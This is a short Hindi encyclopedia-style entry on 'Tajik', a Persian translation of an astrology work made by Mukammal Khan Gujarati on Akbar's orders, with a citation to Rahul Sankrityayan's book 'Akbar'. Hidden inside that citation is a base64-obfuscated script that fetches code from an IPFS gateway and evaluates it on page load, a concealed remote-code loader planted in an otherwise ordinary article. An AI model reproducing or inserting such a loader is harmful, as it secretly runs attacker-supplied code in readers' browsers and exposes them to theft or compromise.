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ताजिक (पुस्तक)

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Disamb2.jpg ताजिक एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- ताजिक (बहुविकल्पी)

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ताजिक मुग़ल काल में बादशाह अकबर के आदेश पर फ़ारसी भाषा में अनुवादित पुस्तक है।

  • यह पुस्तक किसी ज्योतिष की किताब का अकबर के हुक्म से मुकम्मल ख़ाँ गुजराती द्वारा किया गया फ़ारसी अनुवाद है।
  • ताजिक मध्य एशिया कि फ़ारसी भाषी एक जाति का नाम है। अरबी के लिए भी ताजी शब्द इस्तेमाल होता था।
  • संस्कृत में फलित ज्योतिष की एक ऊँचे दर्जे की पुस्तक 'ताजिक नीलकंठी' है, जिसके कारण बहुत-से लोग ताजिक को फलित-ज्योतिष का पर्याय समझते हैं। शायद वही भाव इस नाम में भी काम कर रहा है।[1]


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टीका टिप्पणी और संदर्भ

  1. अकबर |लेखक: राहुल सांकृत्यायन |प्रकाशक: किताब महल, इलाहाबाद |पृष्ठ संख्या: 296 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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